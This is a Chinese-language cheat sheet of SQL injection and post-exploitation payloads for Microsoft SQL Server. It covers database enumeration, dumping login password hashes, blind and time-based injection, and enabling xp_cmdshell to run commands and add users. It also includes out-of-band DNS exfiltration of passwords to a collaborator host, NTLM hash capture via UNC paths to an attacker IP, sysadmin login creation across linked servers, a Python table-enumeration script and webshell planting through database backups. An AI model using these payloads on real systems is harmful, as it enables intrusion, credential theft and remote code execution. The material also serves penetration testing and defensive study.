MSSQL
注释符
-- 注释
/* 注释 */用户
SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;版本
SELECT @@version主机名
SELECT HOST_NAME()
SELECT @@hostname;数据库名
SELECT DB_NAME()列数据库
SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
列表
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)列字段
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, column_name FROM information_schema.columns导出用户和密码
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins联合查询
列出数据库
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb
列出表
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users
列出字段
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName
导出数据
$ SELECT UserId, UserName from Users报错型注入
整型 : convert(int,@@version)
整型 : cast((SELECT @@version) as int)
字符型 : ' + convert(int,@@version) + '
字符型 : ' + cast((SELECT @@version) as int) + '盲注
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'延时型
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --堆查询
ProductID=1; DROP members--读文件
需要ADMINISTER BULK OPERATIONS 或 ADMINISTER DATABASE BULK OPERATIONS 权限
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null命令执行
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
激活xp_cmdshell(sql server 2015中默认禁用状态)
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
交互
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
执行python脚本
列出正在使用的用户
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
打开并读取文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
多行执行
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GOOOB
dnslog
需要VIEW SERVER STATE 权限
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
需要 CONTROL SERVER 权限
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
UNC Path
MSSQL支持堆查询，创建一个指向我们的 IP 地址的变量，然后使用 xp_dirtree 函数列出我们 SMB 共享中的文件并获取 NTLMv2 哈希
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
添加DBA
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
信任链接
数据库之间的链接甚至可以跨林信任工作
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] 如果要利用获取meterpreter会话的权限，将DEPLOY设置为true
查找链接
select * from master..sysservers
通过链接执行查询
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
多条查询
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
执行shell命令
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
创建用户给权限
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"拿shell
判断数据库
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
查库
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
查表import requests
import re
table_list = ['']
def get_sqlserver_table(table_list, table_num):
for num in range(0,table_num):
# print("','".join(table_list))
sql_str = "and (select top 1 name from [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('{}'))>0".format("','".join(table_list))
url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str)
r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'})
res = re.search(r'\'(.*)\'', r.content.decode('utf-8'), re.M|re.I)
table_name = str(res.group(1))
table_list.append(table_name)
print("[{}] - TableName: {}".format(str(r.status_code), table_name))
if __name__ == "__main__":
get_sqlserver_table(table_list, 16)判断是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
执行命令
;exec master..xp_cmdshell "net user name password /add"—
查看权限
and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa
and (select IS_MEMBER('db_owner'))=1-- // dbo
and (select IS_MEMBER('public'))=1-- //public
站库分离获取服务器IP
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--
LOG备份
;alter database testdb set RECOVERY FULL --
;create table cmd (a image) --
;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init --
;insert into cmd (a) values ('<%%25Execute(request("chopper"))%%25>')--
;backup log testdb to disk = 'c:\wwwroot\shell.asp' –
2000差异备份
;backup database testdb to disk ='c:\wwwroot\bak.bak';--
;create table [dbo].[testtable] ([cmd] [image]);--
;insert into testtable (cmd) values(木马hex编码);--
;backup database testdb to disk='c:\wwwroot\upload\shell.asp' WITH DIFFERENTIAL,FORMAT;--
2005差异备份
;alter/**/database/**/[testdb]/**/set/**/recovery/**/full—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;create/**/table/**/[itpro]([a]/**/image)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;insert/**/into/**/[itpro]([a])/**/values(木马hex编码)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=木马保存路径的SQL_EN编码/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;drop/**/table/**/[itpro]—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--最后更新于
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